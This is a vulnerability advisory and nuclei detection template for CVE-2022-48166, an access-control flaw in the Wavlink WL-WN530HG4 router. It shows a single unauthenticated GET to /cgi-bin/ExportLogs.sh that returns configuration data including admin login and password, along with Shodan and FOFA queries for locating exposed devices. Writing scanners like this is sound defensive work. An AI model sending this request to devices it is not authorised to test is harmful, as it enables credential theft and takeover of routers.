Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure

highseverity

7.5CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

An access control issue in Wavlink WL-WN530HG4 M30HG4.V5030.201217 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.

Impact

Successful exploitation could lead to sensitive information disclosure.

Fix

Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(body, "WN530HG4")
Send: GET {{BaseURL}}/cgi-bin/ExportLogs.sh
Positive when: contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK") and contains_all(header, "application/octet-stream", "filename=\"") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-48166 -u <target>

The full check

id: CVE-2022-48166

info:
  name: Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An access control issue in Wavlink WL-WN530HG4 M30HG4.V5030.201217 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.
  remediation: |
    Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface.
  impact: |
    Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://docs.google.com/document/d/1zvbuu3Hkk3CAkojAivlUESvtHblHJNLJdpGOoNtk-Vo/edit?usp=sharing
    - https://github.com/strik3r0x1/Vulns/blob/main/WAVLINK%20WN530HG4.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48166
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-48166
    epss-score: 0.02823
    epss-percentile: 0.86698
    cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.201217:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: wavlink
    product: wn530hg4_firmware
    shodan-query: html:"WN530HG4"
    fofa-query: body="WN530HG4"
  tags: cve,cve2022,wavlink,exposure,wn530hg4,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "WN530HG4")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK")'
          - 'contains_all(header, "application/octet-stream", "filename=\"")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from